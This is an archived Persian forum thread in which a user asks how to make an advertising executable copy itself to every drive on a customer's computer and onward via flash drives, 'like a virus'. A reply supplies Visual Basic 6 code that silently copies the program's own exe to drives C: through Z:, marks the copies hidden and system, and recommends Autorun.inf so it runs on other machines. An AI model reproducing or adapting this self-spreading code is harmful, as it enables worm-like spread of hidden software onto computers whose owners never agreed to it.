نحوه منتشتر کردن یک فایل در همه درایوها با استفاه از حلقه [بایگانی]

nasser_pczone

یک شنبه 26 اردیبهشت 1389, 23:36 عصر

با سلام من کارشناس سخت افزار هستم اما امروز یه سوال برام پیش اومد میخام یه فایل تبلیغاتی دفتر خودمون رو با یک کلیک روی همه درایو های مشتری کپی کنیم و همین طور اگه فرض کنیم مشتری فلش بزنه به کامپیوترش فایل اونجا هم کپی بشه و به همین ترتیب روی بقیه کامپیوتر ها هم بره تقریبا چیزی شبیه ویروس kazem_ghez من فایل رو به صورت exe آماده کردم حالا نمی دونم چطوری انتشارش بدم اگه کسی از مهندسین لطف کنه ممنونش میشم

میخام ببینم نرم افزار کارا هم مثل سخت افزار کارا دمشون گرمه یا نه ؟؟؟؟؟؟

saeedvir

دوشنبه 27 اردیبهشت 1389, 08:14 صبح

اين را امتحان كنيد :

Dim fs As New FileSystemObject

Private Sub Form_Load()
On Error Resume Next
dr = 66
For i = 1 To 24
dr2 = Chr(dr + i) & ":\"

' For Copy :
fs.CopyFile App.Path + "\" + App.EXEName + ".exe", dr2

'For Set Attrib :
SetAttr dr2 & App.EXEName + ".exe", vbHidden + vbSystem

Next i
End Sub
براي اينكه وقتي فلش را مي زنيد به يك دستگاه ديگه ويروس اجرا بشه ، از Autorun.inf استفاده مي كنيم

آموزش بيشتر فايل هاي .Autorun در :
http://forum.barname.org/showthread.php?t=14
و
http://forum.barname.org/showthread.php?t=15